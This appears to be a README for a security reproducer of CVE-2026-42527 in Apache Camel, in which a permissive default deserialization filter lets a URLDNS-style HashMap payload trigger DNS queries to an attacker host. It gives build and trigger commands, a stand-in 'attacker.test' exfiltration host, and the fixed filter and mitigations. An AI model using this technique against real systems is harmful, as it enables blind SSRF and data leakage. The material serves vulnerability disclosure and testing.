Share
## https://sploitus.com/exploit?id=B1CB42E4-A32C-5689-AD02-E709D96D7AAE
# Permissive Default ObjectInputFilter โ€” DNS Side-Channel Reproducer (CVE-2026-42527)

This project demonstrates **CVE-2026-42527** in Apache Camel. The default `ObjectInputFilter` pattern that
several Camel components ship for defense-in-depth deserialization filtering โ€”
`java.**;javax.**;org.apache.camel.**;!*` โ€” uses a recursive `java.**` glob that **admits `java.net.URL`**.
`java.net.URL.hashCode()` performs a DNS resolution of the URL's host, so deserializing a `HashMap` (or any
collection that hashes its elements) containing a `java.net.URL` key causes the JVM to issue a **DNS query to
an attacker-supplied host** during deserialization. The class-level filter check passes (the resulting object
is a `HashMap`, which is allow-listed), so nothing stops it โ€” an **out-of-band information-disclosure side
channel** (not RCE).

Advisory: https://camel.apache.org/security/CVE-2026-42527.html

## Vulnerability Summary

| Property | Value |
|----------|-------|
| **Components** | `camel-jms`, `camel-sjms`, `camel-amqp`, `camel-mina`, `camel-netty`, `camel-netty-http`, `camel-vertx-http`, `camel-infinispan`, and aggregation repos (`camel-leveldb`, `camel-cassandraql`, `camel-consul`, `camel-sql`) |
| **Defect** | Default filter `java.**;javax.**;org.apache.camel.**;!*` admits `java.net.URL` / `java.net.InetAddress` |
| **CWE** | CWE-502 (unsafe deserialization) leading to out-of-band info disclosure / blind SSRF via DNS |
| **Impact** | Attacker-observable DNS queries during deserialization (data exfiltration side channel) |
| **Affected Versions** | 4.14.0โ€“4.14.7, 4.18.0โ€“4.18.2, 4.20.0 |
| **Fixed Versions** | 4.14.8, 4.18.3, 4.21.0 |
| **JIRA** | CAMEL-23372 |
| **Reporters** | Venkatraman Kumar (Securin) and Yu Bao (PayPal) |

> This defect was introduced by the deserialization-hardening series (CAMEL-23297/23319/23321/23322/23324),
> which added the too-permissive default filter. CVE-2026-42527 tightens it.

## Technical Details

This PoC uses **camel-mina 4.18.2**, where `MinaConverter.toObjectInput` installs the default filter directly
on the `ObjectInputStream`, so the filter is the gating control (a clean affected-vs-fixed contrast):

```java
// MinaConverter.toObjectInput(IoBuffer) - affected 4.18.2
static final String DEFAULT_DESERIALIZATION_FILTER = "java.**;javax.**;org.apache.camel.**;!*";
...
ObjectInputStream ois = new ObjectInputStream(is);
ObjectInputFilter jvmFilter = ObjectInputFilter.Config.getSerialFilter();
ois.setObjectInputFilter(jvmFilter != null
        ? jvmFilter
        : ObjectInputFilter.Config.createFilter(DEFAULT_DESERIALIZATION_FILTER));
```

The `java.**` glob admits `java.net.URL`. On deserialization of a `HashMap`, `HashMap.readObject()`
re-inserts the entry and computes `hash(key)` โ†’ `URL.hashCode()` โ†’ `InetAddress.getByName(host)` โ†’ **a DNS
query to the attacker's host**. The 4.18.3 / 4.21.0 fix prepends a deny:

```java
// fixed
static final String DEFAULT_DESERIALIZATION_FILTER = "!java.net.**;java.**;javax.**;org.apache.camel.**;!*";
```

Now `java.net.URL` is rejected during deserialization (`InvalidClassException: filter status: REJECTED`) before
`hashCode()` ever runs โ€” no DNS query.

> **Highest real exposure is the camel-jms family**, where `JmsBinding.extractBodyFromJms` calls
> `ObjectMessage.getObject()` unconditionally when `mapJmsMessage=true` (the default). This PoC uses camel-mina
> because it is self-contained (no broker) and the filter sits directly on the stream.

## The victim route

```java
from("mina:tcp://0.0.0.0:5555?sync=false&allowDefaultCodec=false")
    .process(exchange -> {
        ObjectInput oi = exchange.getIn().getBody(ObjectInput.class);  // MinaConverter.toObjectInput (default filter)
        Object obj = oi.readObject();                                  // HashMap.readObject -> URL.hashCode() -> DNS
    });
```

## How the proof works (no external DNS server)

`java.net.URL.hashCode()` resolves the host through the JVM's resolver. To observe that lookup deterministically
and offline, the app registers a custom **`java.net.spi.InetAddressResolverProvider`** (JDK 18+, JEP 418) that
records any hostname containing the attacker marker and answers it with a loopback stub. Seeing the attacker
host reach the resolver *is* the out-of-band side channel firing.

The payload is built with the classic **ysoserial URLDNS** trick: the URL's cached `hashCode` field is
pre-seeded so inserting it into the map on the builder side does **not** resolve the host, then reset to `-1`
so the lookup happens only when the victim deserializes. (`--add-opens java.base/java.net` is needed for that
reflection โ€” a payload-construction detail, unrelated to the vulnerability.)

```
CVE-2026-42527/
โ”œโ”€โ”€ pom.xml                    # camel-mina 4.18.2 (permissive default filter)
โ”œโ”€โ”€ Dockerfile                 # runs the app (--add-opens java.base/java.net for payload build)
โ”œโ”€โ”€ docker-compose.yml
โ”œโ”€โ”€ README.md
โ””โ”€โ”€ src/main/
    โ”œโ”€โ”€ java/com/example/
    โ”‚   โ”œโ”€โ”€ Application.java
    โ”‚   โ”œโ”€โ”€ MinaObjectRoute.java        # victim: mina consumer -> ObjectInput.readObject()
    โ”‚   โ”œโ”€โ”€ PayloadFactory.java         # HashMap URLDNS payload (no builder-side DNS)
    โ”‚   โ”œโ”€โ”€ ExfilResolverProvider.java  # stub DNS server (InetAddressResolverProvider) that records lookups
    โ”‚   โ”œโ”€โ”€ ExfilLog.java
    โ”‚   โ””โ”€โ”€ ExploitController.java      # /exploit/inject: sends payload over TCP, checks for the DNS lookup
    โ””โ”€โ”€ resources/
        โ”œโ”€โ”€ application.properties
        โ””โ”€โ”€ META-INF/services/java.net.spi.InetAddressResolverProvider
```

## Prerequisites

- Java 17+ and Maven 3.8+ (JDK 21 to build โ€” the proof uses the JDK 18+ resolver SPI)
- Docker (runs the reproducer)

## Reproduction Steps

### Step 1: Build and start the container

```bash
mvn clean package -DskipTests
docker compose up -d --build
```

### Step 2: Trigger the deserialization (DNS side channel)

```bash
curl -s http://localhost:8080/exploit/inject
# -> Sent HashMap payload to mina:tcp://127.0.0.1:5555
#    URL key host: dns-exfil-proof.cve-2026-42527.attacker.test
#
#    >>> DNS side-channel proof โ€” resolver saw a lookup for the attacker host: true
#        observed lookups: [dns-exfil-proof.cve-2026-42527.attacker.test]
```

`true` means the deserialization of the attacker's `HashMap` resolved the attacker host โ€” an
attacker-controlled DNS server would see that query.

### Step 3 (optional): Show the fix / mitigation blocks it

Run with a hardened JVM-wide filter (which `toObjectInput` honors, and which mirrors the 4.18.3 fix):

```bash
mvn clean package -DskipTests
java --add-opens java.base/java.net=ALL-UNNAMED \
     -Djdk.serialFilter='!java.net.**;java.**;javax.**;org.apache.camel.**;!*' \
     -jar target/cve-2026-42527-deserialization-filter-0.0.1-SNAPSHOT.jar
# then:  curl -s http://localhost:8080/exploit/inject
# -> ... resolver saw a lookup for the attacker host: false
#    (the route log shows InvalidClassException: filter status: REJECTED)
```

### Cleanup

```bash
docker compose down
```

## Attack Vectors

Any affected Camel consumer that deserializes attacker-controlled bytes under the default filter โ€” most notably
a camel-jms/sjms/amqp consumer with `mapJmsMessage=true`, or the mina/netty/vertx-http/infinispan and
aggregation-repository components โ€” where the attacker can deliver a `HashMap` (or any hashing collection
of `java.net.URL`).

## Exploit Conditions

1. An affected Camel component deserializing attacker-controlled bytes under the **default** filter (no explicit
   `deserializationFilter` / `-Djdk.serialFilter` override, and no provider-side allow-list).
2. The attacker can place a `java.net.URL` inside a hashing collection in the payload. **No gadget library is
   required** โ€” only stock JDK classes.

## Recommended Fix

Upgrade to **4.14.8 / 4.18.3 / 4.21.0** (CAMEL-23372), which changes the default filter to deny `java.net.**`.

## Mitigation

Until upgrading:

1. Configure the **JMS provider's** deserialization allow/deny list (ActiveMQ Artemis
   `deserializationAllowList`/`deserializationDenyList`, ActiveMQ Classic `org.apache.activemq.SERIALIZABLE_PACKAGES`).
2. Override the in-code default via the endpoint `deserializationFilter` option or the JVM-wide
   `-Djdk.serialFilter` with an explicit deny:
   `!java.net.**;java.**;javax.**;org.apache.camel.**;!*`
   (or `!java.net.**;java.**;org.apache.camel.**;!*` for the aggregation-repository components, which omit
   `javax.**`).

## Disclaimer

This reproducer is provided for **security research and authorized testing only**, for a **publicly disclosed
and fixed** vulnerability. Do not use it against systems without explicit permission.